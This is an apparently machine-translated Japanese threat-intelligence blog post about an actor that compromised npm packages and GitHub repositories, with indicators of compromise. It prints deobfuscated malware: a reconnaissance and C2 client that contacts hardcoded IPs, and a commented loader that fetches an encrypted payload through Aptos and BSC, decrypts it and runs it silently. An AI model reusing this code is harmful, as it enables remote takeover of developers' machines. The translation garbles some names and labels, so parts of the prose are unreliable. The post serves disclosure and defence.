最近、React Native AriaおよびGlueStackに関連する16の人気パッケージを侵害した脅威アクターグループに関する記事をご覧になったかもしれません。これは当社が発見し、文書化したものです。 ここ以前、我々は彼らがパッケージを侵害したことを検知した ランダムユーザーエージェント 2025年5月5日、報告された通り ここ.
その後、この脅威アクターを追跡し続けており、まだ公に完全に記録していない小規模な攻撃も確認しています。しかし、彼らの活動の全体像を示すため、それらをまとめて公開したいと考えました。
初期の悪意のあるパッケージ
2025年5月8日、当社のシステムは既にnpm上に悪意のあるものと見られる2つの新規パッケージを検知していました。それらは以下の通りです:


これらは両方とも同じユーザーによってアップロードされました。 アミンエンジニアリングスメールアドレスで登録済み アミンエンジニアリングズ@gmail[.]com最初のバージョンから、両方に悪意のあるペイロードが含まれており、このパッケージが脅威アクター自身に属することを示している。

より悪質なパッケージ
また、gluestackへの攻撃後、攻撃者によって追加でリリースされた2つのパッケージを確認しました。これらのパッケージは2025年6月8日に以下の名称でリリースされました: tailwindcss-animate-expand そして マングース・リットこれらはユーザー名 マットファーサーその後、そのユーザーはすぐに削除された。
具体的には、 tailwindcss-animate-expand このパッケージは注目に値する。ペイロード構造が異なるためである。その最初の部分は以下のようになっている:
global['r']=require;(function(){var Afr='',xzH=906-895;...私たちはもはやそれを見ない グローバル[‘_V’] 変数が設定される。これをサンドボックスで実行すると、最終的なペイロードもわずかに異なることがわかる。難読化解除後のペイロードは次のようになる:
global._V = 'A4';
(async () => {
try {
const c = global.r || require;
const d = global._V || '0';
const f = c('os');
const g = c("path");
const h = c('fs');
const i = c('child_process');
const j = c('crypto');
const k = f.platform();
const l = k.startsWith("win");
const m = f.hostname();
const n = f.userInfo().username;
const o = f.type();
const p = f.release();
const q = o + " " + p;
const r = process.execPath;
const s = process.version;
const u = new Date().toISOString();
const v = process.cwd();
const w = typeof __filename === "undefined" || __filename !== "[eval]";
const x = typeof __dirname === 'undefined' ? v : __dirname;
const y = g.join(f.homedir(), ".node_modules");
if (typeof module === "object") {
module.paths.push(g.join(y, "node_modules"));
} else {
if (global._module) {
global._module.paths.push(g.join(y, "node_modules"));
} else {
if (global.m) {
global.m.paths.push(g.join(y, 'node_modules'));
}
}
}
async function z(V, W) {
return new global.Promise((X, Y) => {
i.exec(V, W, (Z, a0, a1) => {
if (Z) {
Y("Error: " + Z.message);
return;
}
if (a1) {
Y("Stderr: " + a1);
return;
}
X(a0);
});
});
}
function A(V) {
try {
c.resolve(V);
return true;
} catch (W) {
return false;
}
}
const B = A("axios");
const C = A("socket.io-client");
if (!B || !C) {
try {
const V = {
"stdio": "inherit",
windowsHide: true
};
const W = {
"stdio": "inherit",
"windowsHide": true
};
if (B) {
await z("npm --prefix \"" + y + "\" install socket.io-client", V);
} else {
await z("npm --prefix \"" + y + "\" install axios socket.io-client", W);
}
} catch (X) {}
}
const D = c("axios");
const E = c("form-data");
const F = c("socket.io-client");
let G;
let H;
let I = {};
const J = d.startsWith('A4') ? "http://136.0.9.8:3306" : "http://166.88.4.2:443";
const K = d.startsWith('A4') ? "http://136.0.9.8:27017" : "http://166.88.4.2:27017";
...
特に興味深いのは、そのバージョンが A4週末の攻撃で、新しいC2サーバーを使用する合図として参照されたものである。
また、「旧」C2サーバーが言及されなくなったことも確認できます。代わりに、IPが追加されています。 166.88.4[.]2.
警告サイン
今回の攻撃に至る過程で、いくつかの小規模なパッケージが侵害されていることに気づいていました。以下が確認したパッケージです:
これらのパッケージは3人の異なる個人に属しており、週あたりのダウンロード数は100未満です。これらの脅威アクターは、npmアカウントのトークンを継続的に侵害できるようです。
侵害されたGitHubリポジトリ
これらの攻撃をさらに調査する中で、我々は脅威アクターの活動手法に関するさらなる知見を得るため、他のエコシステムにおける証拠の検証を決定した。その結果、同一の脅威アクターによって侵害されたGitHub上のリポジトリ19件を検出することに成功した:
これらの中で特に目立つコミットがいくつかあり、例を挙げると:

脅威アクターは使用するペイロードをわずかに変更した。このケースでは、ペイロードをBase64エンコードし、eval()に渡している。以下に、その機能を説明するコメント付きでデコードしたペイロードを示す。
/*****************************************************************************************
* Malware “loader” that hides its real payload on two block-chains. *
* Flow ⬇️ *
* 🥇 Step-1 Read pointer on Aptos *
* 🥈 Step-2 Use pointer on Binance Smart Chain (BSC) *
* 🥉 Step-3 Pull out hidden blob *
* 🗝️ Step-4 Decode & decrypt *
* 🚀 Step-5 Run it silently *
*****************************************************************************************/
/* ───────────────────────────── Bootstrap ───────────────────────────── */
global['r'] = require; // save `require` as global.r (little obfuscation)
(async () => {
/* quick aliases */
const c = global; // shorthand for `global`
const i = c['r']; // shorthand for `require`
/* 🛠 Helper 1: GET url → JSON */
async function e (url) {
return new Promise((resolve, reject) => {
i('https')
.get(url, res => {
let body = '';
res.on('data', chunk => (body += chunk));
res.on('end', () => {
try { resolve(JSON.parse(body)); } catch (err) { reject(err); }
});
})
.on('error', reject)
.end();
});
}
/* 🛠 Helper 2: call BSC JSON-RPC */
async function o (method, params = []) {
return new Promise((resolve, reject) => {
const payload = JSON.stringify({ jsonrpc: '2.0', method, params, id: 1 });
const opts = { hostname: 'bsc-dataseed.binance.org', method: 'POST' };
const req = i('https')
.request(opts, res => {
let body = '';
res.on('data', chunk => (body += chunk));
res.on('end', () => {
try { resolve(JSON.parse(body)); } catch (err) { reject(err); }
});
})
.on('error', reject);
req.write(payload);
req.end();
});
}
/* ─────────── Core routine that implements 🥇 → 🗝️ steps ─────────── */
async function t (aptosAccount) {
/* 🥇 STEP-1 Read pointer on Aptos */
const latestTx = await e(
`https://fullnode.mainnet.aptoslabs.com/v1/accounts/${aptosAccount}/transactions?limit=1`
);
const bscHash = latestTx[0].payload.arguments[0]; // pointer → BSC tx-hash
/* 🥈 STEP-2 Fetch BSC transaction carrying the payload */
const bscTx = await o('eth_getTransactionByHash', [bscHash]);
const hexBlob = bscTx.result.input.slice(2); // drop "0x"
/* 🥉 STEP-3 Pull out hidden blob (still unreadable) */
const rawText = Buffer.from(hexBlob, 'hex').toString('utf8');
const b64Chunk = rawText.split('..')[1]; // keep part after ".."
/* 🗝️ STEP-4 Decode & decrypt */
const encrypted = atob(b64Chunk); // Base-64 → binary string
const KEY = '$v$5;kmc$ldm*5SA';
let payload = '';
for (let j = 0; j < encrypted.length; j++) {
payload += String.fromCharCode(
encrypted.charCodeAt(j) ^ KEY.charCodeAt(j % KEY.length)
);
}
return payload; // plain-text JS to execute
}
/* 🚀 STEP-5 Run it silently in the background */
try {
const script = await t(
'0xe66ae4c5e9516048911b3ade1bc8b258197259604c1206cfeca01451a7c22e6d'
);
i('child_process')
.spawn(
'node',
['-e', `global['_V']='${c['_V'] || 0}';${script}`],
{ detached: true, stdio: 'ignore', windowsHide: true }
)
.on('error', () => { /* swallow child errors */ });
} catch (err) {
/* stay quiet on any failure */
}
})(); このコードは巧妙で、2つの異なるブロックチェーンの内容から部分的に自己ブートストラップします。以下に段階的な概要を示します:
バイナンス・スマートチェーン上の取引は以下に示します。なお、ウォレットと契約は2025年2月7日から存在している点に留意してください:
https://bscscan.com/tx/0x5b28b2aa49bae766099aab7c74956d17c305079d9d3575256d3a72c310079c37

コードをサンドボックス環境で実行し、最終的なペイロードを取得しました。その結果、以前に記録したペイロードと同一であり、大きな変更点は見られませんでした。
結論
脅威アクターは、npmパッケージだけでなくGitHubリポジトリに対しても、積極的かつ継続的に侵害行為を行っていることが確認されています。さらに、彼らは自身のRAT(リモートアクセスツール)を組み込んだ独自パッケージの展開を試みており、悪意のあるコードを拡散する手段としてブロックチェーンの利用も開始しています。
妥協の指標
パッケージ
ソラナユーティリティweb3-socketiotailwindcss-animate-expandマングース・ライト@lfwfinance/sdk@lfwfinance/sdk-devアルゴランド-HTLSAVM-サトシダイスバイアテック-AVM-ガソリンスタンドarc200クライアントcputilノード
知的財産権
166.88.4[.]2136.0.9[.]8
アプトスアカウント
0xe66ae4c5e9516048911b3ade1bc8b258197259604c1206cfeca01451a7c22e6d
BSCアドレス
0x9BC1355344B54DEDf3E44296916eD15653844509
BSC契約
0x8EaC3198dD72f3e07108c4C7CFf43108AD48A71c
今すぐソフトウェアを保護しましょう



.avif)
